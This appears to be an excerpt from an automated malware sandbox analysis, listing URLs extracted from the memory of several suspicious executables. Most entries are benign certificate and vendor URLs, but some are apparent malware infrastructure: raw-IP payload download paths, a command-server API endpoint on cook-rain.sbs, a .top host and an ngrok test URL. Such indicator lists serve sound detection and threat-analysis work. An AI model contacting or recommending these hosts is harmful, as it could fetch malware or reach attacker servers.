Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/taic
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe(
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeE
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: 70da2e822d.exe, 0000001B.00000002.3058615014.000000000183C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microX
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: GuidanceConnectors.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 3f69cca2d1.exe, 0000001A.00000002.3071848567.0000000001F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: 3f69cca2d1.exe, 0000001A.00000002.3071848567.0000000001F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347Area
Source: 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der
Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: GuidanceConnectors.exe, 0000000E.00000000.2722338102.0000000000408000.00000002.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000002.2737904140.0000000000408000.00000002.00000001.01000000.0000000F.sdmp, GuidanceConnectors[1].exe.13.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000002.3055733332.0000000000DE5000.00000002.00000001.01000000.00000010.sdmp, Imposed.com, 0000001D.00000002.2949988380.0000000000DE5000.00000002.00000001.01000000.00000010.sdmp, Imposed.com, 0000001E.00000000.2951308380.0000000000DE5000.00000002.00000001.01000000.00000010.sdmp, Blade.14.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: chromecache_98.4.dr	String found in binary or memory: http://www.broofa.com
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, GuidanceConnectors[1].exe.13.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, GuidanceConnectors.exe.13.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123968236.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_98.4.dr	String found in binary or memory: https://apis.google.com
Source: firefox.exe, 0000002D.00000002.3055660321.0000024E23128000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 70da2e822d.exe, 0000001B.00000003.2997404895.000000000185E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2997522883.0000000001868000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2998498473.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 00000022.00000002.3059059019.00000000015A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/=
Source: 70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Z
Source: 70da2e822d.exe, 0000001B.00000002.3058615014.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000002.3058615014.000000000184D000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 00000022.00000002.3059059019.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 00000022.00000002.3059059019.0000000001557000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 70da2e822d.exe, 00000022.00000002.3059059019.0000000001557000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiW
Source: 70da2e822d.exe, 0000001B.00000002.3058615014.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiX
Source: 70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/w
Source: 70da2e822d.exe, 0000001B.00000002.3058615014.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: 70da2e822d.exe, 00000022.00000002.3059059019.0000000001598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apiB
Source: firefox.exe, 0000002D.00000002.3055660321.0000024E23113000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3055660321.0000024E23130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_98.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_98.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_98.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_98.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: firefox.exe, 0000002D.00000002.3055660321.0000024E23117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_98.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 70da2e822d.exe, 0000001B.00000003.2950135448.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 70da2e822d.exe, 0000001B.00000003.2981805748.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1941579447.000000001DA6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp, 70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2950135448.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1941579447.000000001DA6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp, 70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2950135448.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
